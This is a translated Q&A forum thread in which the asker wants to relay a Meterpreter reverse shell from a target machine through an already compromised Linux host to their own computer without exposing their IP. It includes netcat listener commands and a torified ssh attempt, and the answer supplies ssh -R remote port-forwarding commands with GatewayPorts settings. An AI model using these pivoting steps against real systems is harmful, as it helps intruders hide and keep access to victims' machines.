Redireciona o tráfego de metasploit através de um host comprometido

2

Antes de tudo, quero dizer que o meu problema não é sobre a opção 'Portfwd' do medidor de qualidade: link

Digamos que eu tenha acesso a dois computadores:
- O computador A é meu e está executando o linux.
- O computador B é um host comprometido e também está executando o linux.
- Computador C é o que eu quero comprometer.

Estou usando a estrutura do metasploit para essa finalidade. Como posso conseguir configurar uma conexão tcp reversa de C para B e então conectar de A a B para pegar a sessão do medidor? O problema é que não quero que B saiba o endereço IP de A em nenhum momento. É por isso que é A que terá que iniciar a conexão (usando proxychains ou qualquer outro programa para ocultar seu IP real).

Primeiro eu tentei reproduzir esse problema usando o netcat, mas talvez eu tenha entendido mal algo lá:
- O computador A está executando um servidor netcat na porta 4444: nc -l -p 4444 (porque A executará o servidor meterpreter). - O computador C se conectará a B na porta 8888 nc 'B' 8888 (porque C executará a carga útil e se conectará ao servidor comprometido para que não tenha nenhum link com meu IP real)
- O computador B terá que configurar um ouvinte de netcat na porta 8888 para aceitar uma conexão tcp de C (não tenho certeza sobre isso)

Agora, minha pergunta é: como posso obter a conexão entre B e A sem que B conheça o endereço IP de A?

Eu tentei usar o ssh para fazer uma porta local ir de A para B:
torify ssh -NL 4444:localhost:8888 B mas está me dizendo que a porta 4444 já está sendo usada (pelo ouvinte nc em A)
Eu desenhei um esquema simples, então talvez seja mais claro, o esquema a seguir é o que eu gostaria de ter:

    
por Django 03.04.2017 / 16:50

1 resposta

2

Então, você quer encaminhar a porta B: 8888 para A: 4444 do servidor A ,

A:$ ssh -R 8888:localhost:4444 B

Isto abre a porta 8888 escutando B e encaminha conexões para a porta 4444 em A , onde seu servidor é. Isso funciona se o ssh server em B tiver a opção de configuração GatewayPorts definida como yes .

Se GatewayPorts estiver definido como clientspecified , você poderá usar um dos seguintes comandos,

A:$ ssh -R  :8888:localhost:4444 B
A:$ ssh -R *:8888:localhost:4444 B

GatewayPorts não configurado ou definido como não vincula o soquete a localhost , impedindo o encaminhamento remoto de funcionar.

    
por 03.04.2017 / 22:07